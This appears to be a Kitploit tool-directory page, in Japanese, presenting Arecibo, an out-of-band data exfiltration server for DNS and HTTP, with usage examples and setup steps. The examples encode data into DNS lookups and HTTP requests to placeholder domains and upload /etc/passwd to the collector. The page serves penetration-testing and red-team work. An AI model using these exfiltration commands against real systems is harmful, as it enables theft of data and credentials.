Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Arecibo — アウトオブバンドデータ流出のためのエンドポイント (DNS & HTTP) | Kitploit
ツール/GitHubGitHub/tarlogicsecurity/arecibo
データ流出情報収集ペネトレーションテストレッドチーミングDNS分析
GitHubtarlogicsecurity/arecibo

Arecibo

アウトオブバンドデータ流出のためのエンドポイント (DNS & HTTP)

リポジトリを見る
94217年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Arecibo

アウトオブバンド流出(DNS・HTTP)のエンドポイント

著者

Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)

DNS によるデータ流出

新しいトークンを作成:

root@kitploit:~
curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

この識別トークンを使用して DNS 解決を実行できます(ABCD.TOKEN.x.yourdomain.com):

root@kitploit:~
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

ヒット数と流出データは /hitsdns/TOKEN で確認できます:

root@kitploit:~
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

すべてのデータを連結して取得したい場合は /dumpdns/token を使用:

root@kitploit:~
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

HTTP によるデータ流出

トークンを生成:

root@kitploit:~
curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

HTTP リクエスト(http://yourodmain.com/h/TOKEN)を通じて情報を流出できるようになりました。GET/POST パラメータ、ヘッダー、IP が Arecibo によって記録されます。

root@kitploit:~
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

情報を取得するには /hitshttp/TOKEN を使用:

root@kitploit:~
 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

任意の HTML、ヘッダー、ステータスコードを表示する必要がある場合は、POST メソッドを使用してその値を設定します(ボディは base64 エンコード):

root@kitploit:~
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

動的 DNS 解決

Arecibo は X.Y.Z.A.ip.yourdomain.com というスキーマのドメインを X.Y.Z.A として解決します:

root@kitploit:~
> 10.0.0.1.ip.yourdomain.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   yourdomain.com
Address: 10.0.0.1

ファイル転送

/upload エンドポイントを使用してファイルをアップロード:

root@kitploit:~
curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

生成されたトークンを使用してダウンロード:

root@kitploit:~
curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

IP 情報

/ip 経由でクライアント IP を表示:

root@kitploit:~
curl localhost:5000/ip
{"ip": "127.0.0.1"}

インストールと設定

ディストリビューションのリポジトリから pdns と pdns-backend-pipe をインストールし、Python 用のモジュール flask と flask_restful をインストールする必要があります。

  1. arecibo-dns-backend.py の設定を自分の値に編集する
  2. 実行権限を設定する chmod +x arecibo-dns-backend.py
  3. pdns.conf を編集する(ディストリビューション内の場所を確認)
root@kitploit:~
setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(API スクリプトを実行するために使用される値に setuid/setgid を変更してください。同じ値である必要があります)

  1. arecibo-api.py と pdns_server を実行する(ディストリビューション内の場所を確認)

サーバーは、ドメインの権威 DNS として設定されている必要があります

重要: Arecibo の前に nginx またはその他のリバースプロキシを設定して、認証とセキュリティを提供する必要があります。

ツールをダウンロード